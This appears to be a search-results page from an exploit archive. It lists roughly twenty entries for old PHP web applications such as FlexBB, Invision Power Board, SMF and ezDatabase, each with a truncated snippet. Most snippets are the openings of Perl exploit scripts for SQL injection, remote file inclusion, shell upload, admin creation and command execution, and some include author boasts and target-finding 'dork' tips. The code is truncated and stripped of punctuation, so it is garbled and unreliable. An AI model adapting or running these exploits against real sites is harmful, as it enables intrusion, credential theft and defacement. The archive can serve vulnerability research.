915 matches found
FlexBB <= 0.6.3 Cookies Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = UnderWHAT?! ; $mw-geometry '420x343' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 8',-foreground='red'-pack; $mw-Label-text = 'FlexBB =...
Simple PHP Blog 0.5.1 - Local File Inclusion Vulnerability
No description provided by source. Simple PHP Blog is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context ...
paBugs <= 2.0 Beta 3 (main.php cid) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV 4 usage; exit; $host = $ARGV0; Host $path = $ARGV1; Path to paBugs directory $pref = $ARGV2; prefix for admin tables $usid = $ARGV3; user id $www = new LWP::UserAgent; $sql =...
iGaming CMS <= 1.5 - Multiple Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl ---------------------------------------------------------- iGaming = 1.5 Multiple Remote SQL Injection Exploit Perl Exploit - Output: id:admin:password Discovered On: 23/09/2008 Discovered By: StAkeR - StAkeRathotmaildotit Proud To Be Italian...
Ciberia Content Federator <= 1.0.1 (path) Remote File Include Exploit
No description provided by source. !/usr/bin/perl Portal Name : ciberia 1.0Ciberia Content Federatormaquetacionsocio.php Remote File Inclusion Exploit BUG: Path/socios/maquetacionsocio.php?path=Dr.Trojan.TxT Vulnerable Code: 1-include $path/datos/datossocios.php; 2-include...
DBHcms <= 1.1.4 - Remote File Inclusion exploit
No description provided by source. !/usr/bin/perl DBHcms = 1.1.4 Remote File Inclusion exploit Vendor url: www.drbenhur.com exploit is hard to execute through a browser -possible though- since it's with POST Iron http://www.randombase.com require LWP::UserAgent; Shell: ?php...
Comparison Engine Power 1.0 - Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print \n; print VIVA ISLAME VIVA ISLAME \n; print VIVA ISLAME VIVA ISLAME \n; print \n; print Comparison Engine Power 1.0 Blind SQL Injection Exploit \n; print \n; print Author: Mr.SQL \n; print EMAI...
ezDatabase <= 2.0 (db_id) Remote Command Execution Exploit
No description provided by source. !/usr/bin/perl ezDatabase Remote Command Execution Exploit based on advisory by Pridels Team Copyright c 2006 cijfer cijfer@netti!fi All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ $Id:...
Rianxosencabos CMS 0.9 - Remote Add Admin Exploit
No description provided by source. !/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz written by ka0x ka0x01 at gmail dot com D.O.M Labs - Security Researchers - www.domlabs.org - use LWP::UserAgent; my $host, $login,...
MauryCMS <= 0.53.2 - Remote Shell Upload Exploit
No description provided by source. !/usr/bin/perl =about MauryCMS = 0.53.2 Remote Shell Upload Exploit ---------------------------------------------- by athos - stakerathotmaildotit download on http://cms.maury91.org thnx Osirys =cut use strict; use warnings; use LWP::UserAgent; my...
Microsoft IIS 5 User Existence Disclosure Vulnerability (2)
No description provided by source. source: http://www.securityfocus.com/bid/7492/info Microsoft IIS is prone to an issue where the existence of users may be revealed to remote attackers. The vulnerability exists when users attempt to authenticate against a vulnerable system. IIS will generate an...
Galatolo Web Manager <= 1.0 - Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl -w Portal : Galatolo WebManager 1.0 exploit aported password crypted exploit tatjibe password mcrypté :d mgharba :d:d:d:d Founded & Exploited by : Stack Contact: Ev!L = see down Greetz : Houssamix & Djekmani & Jadi & Simo64 & iuoisn & All muslims...
Invision Power Board 2.1 <= 2.1.6 - Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Invision Power Board v2.1 = 2.1.6 sql injection exploit by RST/GHC Based on LOCALIP bug, more info in RST/GHC Advisory41 http://rst.void.ru/papers/advisory41.txt tested on 2.1.3, 2.1.6 08.06.06 coded by 1dt.w0lf RST/GHC http://rst.void.ru...
Simple Machines Forum 1.1.3 - Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl Written By Michael Brooks contact: th3dotr00katgmaildotcom SMF 1.1.3 Extremely fast Blind SQL Injection Exploit! -Binary Search -Multi-Threaded -NO benchmark's Two SQL Injection flaws. Works with magicquotesgpc=On or Off. Total Bypass of SMF's SQL...
photokron <= 1.7 (update script) Remote Database Disclosure Exploit
No description provided by source. !/usr/bin/perl Script : PhotoKron All Version All Version Author : Pr0metheuS Gr33tz to Gr33tz-Team Gr33tz-Team.ORG Dork : Powered by photokorn INFO Works IF /update/ is on server...60% site are vulnerable.... INFO use LWP::UserAgent; if @ARGV!=2 print...
MiniPort@l <= 0.1.5 beta (skiny) Remote File Include Vulnerability
No description provided by source. !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - MiniPort@l = 2.0 skiny Remote File Include Exploit + + + - Script name: MiniPort@l v. 0.1.5 - Script site: http://mlodylis.xcx.pl/ + + + - Find by: Kacper a.k.a Rahim + -...
PHP DocWriter <= 0.3 (script) Remote File Include Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - phpdocwriter = 0.3 script Remote File Include Exploit + + + - Script name: phpdocwriter v. 0.3 - Script site: http://phpdocwriter.sourceforge.net/ + + + - DEVIL TEAM IRC:...
Socketwiz Bookmarks <= 2.0 (root_dir) Remote File Include Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Socketwiz Bookmarks = 2.0 rootdir Remote File Include Exploit + + + - Script name: Socketwiz Bookmarks v. 2.0 - Script site: http://www.hotscripts.pl/pobierz-2232.html + +...
CSO Lanifex Outreach Project Tool 0.946 b Request Origin Spoofing Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/6630/info It has been reported that OPT accepts the values supplied supplied by users in HTTP headers as the originating IP address of a request. It is possible for a remote host to supply a fake IP address in one of thes...
phPay <= 2.02 (nu_mail.inc.php) Remote mail() Injection Exploit
No description provided by source. !/usr/bin/perl Script: phPay v2.02 http://phpay.de/ Vuln File: numail.inc.php Exploit & Advisory: beford xbefordx gmail com Vulnerability: mail Injection Vuln Code: ?php if eregnumail.inc.php, $SCRIPTNAME headerLocation:./index.html; elseif eregnumail.inc.php,...